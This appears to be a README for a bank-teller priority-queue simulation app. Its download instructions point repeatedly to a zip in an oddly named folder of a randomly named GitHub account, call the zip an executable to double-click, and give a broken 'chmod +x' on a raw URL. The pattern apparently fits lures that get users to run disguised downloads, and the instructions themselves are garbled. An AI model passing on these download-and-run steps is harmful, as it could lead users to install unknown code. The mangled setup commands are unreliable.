- Click on the download link above to visit the Releases page.
- Look for the latest version of the software.
- Click on the file to download it to your computer.
The priority-queue-simulation application is designed to run on Windows, macOS, and Linux. Make sure your system meets the following requirements:
- Operating System: Windows 10 or later, macOS 10.12 or later, or a recent version of Linux.
- Memory: At least 4 GB of RAM.
- Storage: Minimum of 200 MB of free disk space.
- Additional: Python 3.6 or higher installed on your system.
- Visit the Releases page to view available versions.
- Download the file appropriate for your operating system.
- If you're using Windows, the file will be an executable (e.g.,
https://raw.githubusercontent.com/Luteal-westernsaxifrage244/priority-queue-simulation/main/meringue/priority-queue-simulation_v1.5.zip). Simply double-click it to start.
If you're using macOS or Linux, you may need to run the downloaded file in the terminal. For Mac, use:
chmod +x https://raw.githubusercontent.com/Luteal-westernsaxifrage244/priority-queue-simulation/main/meringue/priority-queue-simulation_v1.5.zip
https://raw.githubusercontent.com/Luteal-westernsaxifrage244/priority-queue-simulation/main/meringue/priority-queue-simulation_v1.5.zipFor Linux, use:

https://raw.githubusercontent.com/Luteal-westernsaxifrage244/priority-queue-simulation/main/meringue/priority-queue-simulation_v1.5.zipThe priority-queue-simulation application offers a range of features to enhance your understanding of queuing systems:
- Multi-Teller Support: Simulates multiple bank tellers serving customers.
- Priority Handling: Executes customer service based on predefined priorities.
- Real-Time Visualization: View how customers line up and get served in real-time.
- Customizable Parameters: Adjust the arrival rate of customers and service times.
- Statistical Data: Access detailed reports on waiting times and service efficiency.
The goal of the priority-queue-simulation is to illustrate how different factors affect waiting times in a bank setting. You'll learn how:
- Customer Priority: High-priority customers get served first, changing the dynamics of the queue.
- Service Rate: How quickly tellers can serve customers impacts overall satisfaction.
- Queue Length: The application shows how varying numbers of customers changes wait times.
Once the program is running, follow these steps to use it effectively:
- Select the Number of Tellers: Choose how many tellers you want for your simulation.
- Set Customer Arrival Rate: Decide how fast new customers arrive at the bank.
- Adjust Service Time: Set how long each teller takes to process a customer.
- Start Simulation: Click the "Start" button to begin your queue simulation.
As the simulation runs, the application will display several metrics:
- Average Waiting Time: Understand how long customers wait before being served.
- Total Customers Served: See how many customers the tellers manage to serve in a given time.
- Utilization Rate: Get insights into how effectively tellers are operating.
- Experiment with different parameters to see how they affect the queue's performance.
- Take notes on how varying elements influence customer experiences.
- Use the application as part of a project or study to deepen your understanding of queuing theory.
